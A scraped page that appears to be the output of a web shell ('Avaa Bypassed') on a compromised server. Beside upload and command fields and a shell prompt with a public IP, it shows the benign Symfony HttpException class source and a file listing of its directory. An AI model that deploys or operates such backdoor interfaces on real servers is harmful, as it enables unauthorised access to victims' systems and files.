404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.216.78.112: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Exception;

/**
 * HttpException.
 *
 * @author Kris Wallsmith <kris@symfony.com>
 */
class HttpException extends \RuntimeException implements HttpExceptionInterface
{
    private int $statusCode;
    private array $headers;

    public function __construct(int $statusCode, string $message = '', \Throwable $previous = null, array $headers = [], int $code = 0)
    {
        $this->statusCode = $statusCode;
        $this->headers = $headers;

        parent::__construct($message, $code, $previous);
    }

    public function getStatusCode(): int
    {
        return $this->statusCode;
    }

    public function getHeaders(): array
    {
        return $this->headers;
    }

    public function setHeaders(array $headers)
    {
        $this->headers = $headers;
    }
}

Filemanager

Name Type Size Permission Actions
AccessDeniedHttpException.php File 653 B 0644
BadRequestHttpException.php File 598 B 0644
ConflictHttpException.php File 596 B 0644
ControllerDoesNotReturnResponseException.php File 2.24 KB 0644
GoneHttpException.php File 592 B 0644
HttpException.php File 1.03 KB 0644
HttpExceptionInterface.php File 622 B 0644
InvalidMetadataException.php File 348 B 0644
LengthRequiredHttpException.php File 602 B 0644
LockedHttpException.php File 598 B 0644
MethodNotAllowedHttpException.php File 759 B 0644
NotAcceptableHttpException.php File 601 B 0644
NotFoundHttpException.php File 603 B 0644
PreconditionFailedHttpException.php File 606 B 0644
PreconditionRequiredHttpException.php File 654 B 0644
ServiceUnavailableHttpException.php File 858 B 0644
TooManyRequestsHttpException.php File 901 B 0644
UnauthorizedHttpException.php File 753 B 0644
UnexpectedSessionUsageException.php File 416 B 0644
UnprocessableEntityHttpException.php File 616 B 0644
UnsupportedMediaTypeHttpException.php File 608 B 0644